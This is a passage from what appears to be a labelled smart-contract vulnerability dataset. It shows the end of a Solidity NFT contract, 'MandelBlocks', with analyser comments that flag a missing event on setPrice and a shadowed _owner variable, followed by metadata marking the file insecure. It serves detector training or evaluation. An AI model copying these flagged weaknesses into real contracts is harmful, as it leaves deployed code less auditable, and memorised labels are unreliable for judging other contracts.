WARNING Vulnerability (events-maths | severity: Low | ID: 0043599): MandelBlocks.setPrice(uint256) should emit an event for price = _newPrice \n\t// Recommendation for 0043599: Emit an event for critical parameter changes.\n function setPrice(uint256 _newPrice) public onlyOwner {\n\t\t// events-maths | ID: 0043599\n price = _newPrice;\n }\n\n function setWhitelistUser(bytes32 merkleRootHash) public onlyOwner {\n merkleRoot = merkleRootHash;\n }\n\n function getWhitelistUser() public view returns (bytes32) {\n return merkleRoot;\n }\n\n function mintByOwner(address _to, uint256 quantity) public onlyOwner {\n require(isPaused == false, \"Sale is not active at the moment\");\n require(_to != address(0), \"Mint to the zero address\");\n\n uint256 tokenId = totalSupply();\n for (uint256 i = 0; i < quantity; i++) {\n tokenId++;\n _safeMint(_to, tokenId);\n }\n }\n\n function setBlackList(address user) public onlyOwner {\n blacklistuser[user] = true;\n }\n\n function removeBlackList(address user) public onlyOwner {\n blacklistuser[user] = false;\n }\n\n function isBlackList(address user) public view returns (bool) {\n return blacklistuser[user];\n }\n\n modifier isSaleOpen() {\n require(totalSupply() < _TOTALSUPPLY, \"Mint wourd exceed totalSupply\");\n _;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d8ea2da): MandelBlocks.tokensOfOwner(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for d8ea2da: Rename the local variables that shadow another component.\n function tokensOfOwner(\n address _owner\n ) public view returns (uint256[] memory) {\n uint256 count = balanceOf(_owner);\n uint256[] memory result = new uint256[](count);\n for (uint256 index = 0; index < count; index++) {\n result[index] = tokenOfOwnerByIndex(_owner, index);\n }\n return result;\n }\n\n function withdraw() public onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n}", "file_name": "solidity_code_2618.sol", "secure": 0, "size_bytes": 5706 }